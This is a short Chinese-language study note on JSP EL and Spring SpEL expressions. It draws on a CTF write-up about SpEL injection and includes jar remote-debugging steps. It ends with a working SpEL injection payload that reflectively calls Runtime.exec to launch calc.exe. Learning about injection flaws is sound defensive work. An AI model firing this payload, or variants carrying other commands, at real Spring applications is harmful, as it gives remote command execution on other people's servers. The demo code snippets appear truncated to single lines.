EL表达式
先学习一波EL表达式。
EL全名为Expression Language, 可以在JSP页面上直接使用。
格式:${表达式内容}
Demo:
1 | <%@ page import="java.io.*,java.util.*" %> |
作用就是在JSP页面操作变量更加灵活。
参考JSP菜鸟教程。
SpEL表达式
SpEL(Spring Expression Language),即Spring表达式语言。类似JSP的EL表达式。
作用
可以直接操作Spring管理的各种bean、变量、properties配置文件等数据。
用法
Springboot Demo:
1 | @RequestMapping(value = "/testEL/{el}", method = RequestMethod.GET) |
从一到CTF题目学SpEL表达式注入
原文过程讲的很清楚,这里记录几个点:
- 调试Jar包方法:
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar jar包名
- idea -< edit configure -> + Remote -> 一切默认
- 点击debug图标开始debug
- Windows下弹出计算器payload:
使用”T(Type)”来表示java.lang.Class类的实例,即如同java代码中直接写类名。
1 | T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"calc.exe"}) |